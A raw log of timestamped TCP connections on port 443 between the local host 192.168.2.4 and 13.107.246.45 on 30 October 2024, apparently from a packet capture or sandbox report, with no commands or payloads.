Oct 30, 2024 06:17:17.307723045 CET	443	49874	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:17.321067095 CET	443	49870	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:17.321201086 CET	443	49870	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:17.321260929 CET	49870	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:17.321326971 CET	49870	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:17.321348906 CET	443	49870	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:17.321365118 CET	49870	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:17.321372032 CET	443	49870	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:17.323951960 CET	49875	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:17.324037075 CET	443	49875	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:17.324122906 CET	49875	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:17.324256897 CET	49875	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:17.324286938 CET	443	49875	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:17.330492020 CET	443	49871	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:17.330549002 CET	443	49871	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:17.330601931 CET	49871	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:17.330612898 CET	443	49871	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:17.330643892 CET	443	49871	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:17.330794096 CET	49871	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:17.330794096 CET	49871	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:17.333249092 CET	49871	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:17.333256006 CET	443	49871	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:17.333503008 CET	49876	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:17.333520889 CET	443	49876	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:17.333590031 CET	49876	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:17.333715916 CET	49876	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:17.333728075 CET	443	49876	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:17.385411978 CET	443	49872	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:17.385494947 CET	443	49872	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:17.385658026 CET	49872	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:17.387919903 CET	49877	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:17.387928009 CET	49872	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:17.387928009 CET	49872	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:17.387943983 CET	443	49877	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:17.387960911 CET	443	49872	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:17.387988091 CET	443	49872	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:17.388015985 CET	49877	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:17.388155937 CET	49877	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:17.388165951 CET	443	49877	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:17.448689938 CET	443	49873	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:17.449168921 CET	49873	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:17.449210882 CET	443	49873	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:17.449495077 CET	49873	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:17.449508905 CET	443	49873	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:17.580152988 CET	443	49873	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:17.580265045 CET	443	49873	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:17.580333948 CET	49873	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:17.580459118 CET	49873	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:17.580499887 CET	443	49873	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:17.580570936 CET	49873	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:17.580586910 CET	443	49873	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:17.583554983 CET	49878	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:17.583587885 CET	443	49878	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:17.583662033 CET	49878	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:17.583828926 CET	49878	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:17.583844900 CET	443	49878	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:18.039089918 CET	443	49874	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:18.039860010 CET	49874	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:18.039953947 CET	443	49874	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:18.040350914 CET	49874	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:18.040369987 CET	443	49874	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:18.052160025 CET	443	49875	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:18.052491903 CET	49875	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:18.052555084 CET	443	49875	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:18.052845955 CET	49875	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:18.052860975 CET	443	49875	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:18.421195984 CET	443	49874	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:18.421262026 CET	443	49875	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:18.421291113 CET	443	49874	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:18.421298981 CET	443	49875	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:18.421341896 CET	49874	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:18.421348095 CET	443	49875	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:18.421395063 CET	49875	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:18.421395063 CET	49875	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:18.421586037 CET	49875	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:18.421590090 CET	49874	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:18.421622038 CET	443	49875	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:18.421632051 CET	443	49874	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:18.421657085 CET	49875	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:18.421673059 CET	443	49875	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:18.423041105 CET	443	49877	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:18.423610926 CET	49877	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:18.423625946 CET	443	49877	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:18.424048901 CET	49877	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:18.424052954 CET	443	49877	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:18.425470114 CET	49879	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:18.425493002 CET	443	49879	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:18.425561905 CET	49879	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:18.425672054 CET	49879	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:18.425683975 CET	443	49879	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:18.426409006 CET	49880	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:18.426440001 CET	443	49880	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:18.426493883 CET	49880	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:18.426600933 CET	49880	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:18.426610947 CET	443	49880	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:18.556925058 CET	443	49877	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:18.556982040 CET	443	49877	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:18.557029963 CET	49877	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:18.557193041 CET	49877	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:18.557204008 CET	443	49877	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:18.557213068 CET	49877	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:18.557218075 CET	443	49877	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:18.557739019 CET	443	49876	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:18.558343887 CET	49876	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:18.558362961 CET	443	49876	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:18.558885098 CET	49876	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:18.558891058 CET	443	49876	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:18.559248924 CET	443	49878	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:18.559562922 CET	49878	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:18.559578896 CET	443	49878	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:18.559993029 CET	49878	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:18.559998035 CET	443	49878	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:18.560791016 CET	49881	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:18.560827017 CET	443	49881	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:18.560889006 CET	49881	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:18.561012983 CET	49881	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:18.561029911 CET	443	49881	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:18.830629110 CET	443	49878	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:18.830734015 CET	443	49878	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:18.830868006 CET	443	49876	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:18.830899954 CET	49878	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:18.831020117 CET	443	49876	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:18.831036091 CET	49878	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:18.831080914 CET	443	49878	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:18.831120968 CET	49878	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:18.831121922 CET	49876	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:18.831146955 CET	443	49878	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:18.831181049 CET	49876	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:18.831181049 CET	49876	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:18.831196070 CET	443	49876	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:18.831216097 CET	443	49876	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:18.834465981 CET	49882	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:18.834505081 CET	443	49882	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:18.834521055 CET	49883	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:18.834558964 CET	443	49883	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:18.834573984 CET	49882	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:18.834609985 CET	49883	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:18.834743023 CET	49882	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:18.834752083 CET	443	49882	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:18.834760904 CET	49883	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:18.834779024 CET	443	49883	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:19.151686907 CET	443	49880	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:19.152278900 CET	49880	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:19.152298927 CET	443	49880	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:19.152781963 CET	49880	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:19.152786970 CET	443	49880	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:19.183777094 CET	443	49879	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:19.184129000 CET	49879	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:19.184142113 CET	443	49879	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:19.184494972 CET	49879	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:19.184499025 CET	443	49879	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:19.279350996 CET	443	49880	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:19.279511929 CET	443	49880	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:19.279576063 CET	49880	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:19.279747009 CET	49880	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:19.279761076 CET	443	49880	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:19.279772043 CET	49880	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:19.279777050 CET	443	49880	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:19.282855034 CET	49884	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:19.282898903 CET	443	49884	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:19.282962084 CET	49884	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:19.283116102 CET	49884	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:19.283129930 CET	443	49884	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:19.297655106 CET	443	49881	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:19.298230886 CET	49881	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:19.298259020 CET	443	49881	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:19.298711061 CET	49881	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:19.298716068 CET	443	49881	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:19.317284107 CET	443	49879	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:19.317322969 CET	443	49879	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:19.317365885 CET	443	49879	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:19.317375898 CET	49879	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:19.317410946 CET	49879	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:19.317615032 CET	49879	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:19.317627907 CET	443	49879	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:19.317636967 CET	49879	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:19.317641973 CET	443	49879	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:19.320302963 CET	49885	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:19.320343971 CET	443	49885	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:19.320427895 CET	49885	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:19.320596933 CET	49885	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:19.320611954 CET	443	49885	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:19.429416895 CET	443	49881	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:19.429493904 CET	443	49881	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:19.429548025 CET	49881	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:19.429703951 CET	49881	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:19.429732084 CET	443	49881	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:19.429745913 CET	49881	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:19.429753065 CET	443	49881	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:19.432409048 CET	49886	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:19.432431936 CET	443	49886	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:19.432508945 CET	49886	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:19.432662964 CET	49886	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:19.432677984 CET	443	49886	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:19.559150934 CET	443	49883	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:19.559608936 CET	49883	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:19.559633970 CET	443	49883	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:19.560072899 CET	49883	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:19.560082912 CET	443	49883	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:19.572767973 CET	443	49882	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:19.573363066 CET	49882	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:19.573373079 CET	443	49882	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:19.574311972 CET	49882	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:19.574316025 CET	443	49882	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:19.689882994 CET	443	49883	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:19.689918995 CET	443	49883	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:19.689970970 CET	49883	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:19.689984083 CET	443	49883	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:19.690021992 CET	443	49883	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:19.690062046 CET	49883	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:19.690256119 CET	49883	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:19.690279007 CET	443	49883	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:19.690291882 CET	49883	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:19.690299034 CET	443	49883	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:19.693314075 CET	49887	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:19.693353891 CET	443	49887	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:19.693432093 CET	49887	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:19.693593979 CET	49887	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:19.693608046 CET	443	49887	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:19.703870058 CET	443	49882	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:19.703969955 CET	443	49882	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:19.704029083 CET	49882	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:19.704118967 CET	49882	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:19.704135895 CET	443	49882	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:19.704147100 CET	49882	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:19.704157114 CET	443	49882	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:19.706404924 CET	49888	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:19.706515074 CET	443	49888	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:19.706593037 CET	49888	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:19.706749916 CET	49888	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:19.706787109 CET	443	49888	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.023101091 CET	443	49884	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.023686886 CET	49884	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:20.023724079 CET	443	49884	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.024162054 CET	49884	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:20.024171114 CET	443	49884	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.094477892 CET	443	49885	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.095102072 CET	49885	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:20.095120907 CET	443	49885	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.095676899 CET	49885	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:20.095683098 CET	443	49885	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.154030085 CET	443	49884	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.154207945 CET	443	49884	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.154269934 CET	49884	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:20.154520988 CET	49884	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:20.154546022 CET	443	49884	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.154556990 CET	49884	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:20.154561996 CET	443	49884	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.158077002 CET	49889	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:20.158137083 CET	443	49889	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.158236980 CET	49889	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:20.158376932 CET	49889	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:20.158397913 CET	443	49889	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.172559977 CET	443	49886	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.172940969 CET	49886	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:20.172955990 CET	443	49886	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.173491955 CET	49886	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:20.173501968 CET	443	49886	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.233045101 CET	443	49885	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.233074903 CET	443	49885	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.233128071 CET	443	49885	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.233155966 CET	49885	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:20.233206987 CET	49885	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:20.233486891 CET	49885	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:20.233504057 CET	443	49885	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.233519077 CET	49885	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:20.233525038 CET	443	49885	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.237030983 CET	49890	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:20.237117052 CET	443	49890	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.237212896 CET	49890	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:20.237350941 CET	49890	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:20.237385988 CET	443	49890	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.305449009 CET	443	49886	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.305550098 CET	443	49886	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.305600882 CET	49886	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:20.306267023 CET	49886	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:20.306283951 CET	443	49886	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.306296110 CET	49886	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:20.306299925 CET	443	49886	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.310774088 CET	49891	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:20.310822964 CET	443	49891	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.310908079 CET	49891	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:20.311487913 CET	49891	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:20.311533928 CET	443	49891	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.425663948 CET	443	49887	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.426269054 CET	49887	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:20.426292896 CET	443	49887	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.426731110 CET	49887	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:20.426736116 CET	443	49887	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.449577093 CET	443	49888	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.449944019 CET	49888	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:20.449965000 CET	443	49888	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.450321913 CET	49888	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:20.450330019 CET	443	49888	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.556168079 CET	443	49887	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.556191921 CET	443	49887	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.556233883 CET	443	49887	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.556381941 CET	49887	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:20.556381941 CET	49887	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:20.556516886 CET	49887	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:20.556536913 CET	443	49887	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.556548119 CET	49887	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:20.556554079 CET	443	49887	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.559017897 CET	49892	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:20.559103966 CET	443	49892	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.559197903 CET	49892	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:20.559329033 CET	49892	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:20.559365034 CET	443	49892	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.579485893 CET	443	49888	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.579622030 CET	443	49888	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.579684019 CET	49888	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:20.579773903 CET	49888	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:20.579773903 CET	49888	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:20.579808950 CET	443	49888	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.579835892 CET	443	49888	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.582190037 CET	49893	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:20.582216978 CET	443	49893	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.582269907 CET	49893	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:20.582408905 CET	49893	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:20.582422972 CET	443	49893	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.883893967 CET	443	49889	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.884454966 CET	49889	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:20.884524107 CET	443	49889	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.884934902 CET	49889	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:20.884954929 CET	443	49889	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:20.976273060 CET	443	49890	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.011405945 CET	443	49889	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.011471987 CET	443	49889	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.011562109 CET	49889	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.011590004 CET	443	49889	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.011621952 CET	443	49889	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.011682987 CET	49889	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.024312019 CET	49890	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.024347067 CET	443	49890	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.025281906 CET	49890	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.025296926 CET	443	49890	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.046972990 CET	49889	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.047013044 CET	443	49889	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.047040939 CET	49889	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.047055960 CET	443	49889	13.107.246.45	192.168.2.4
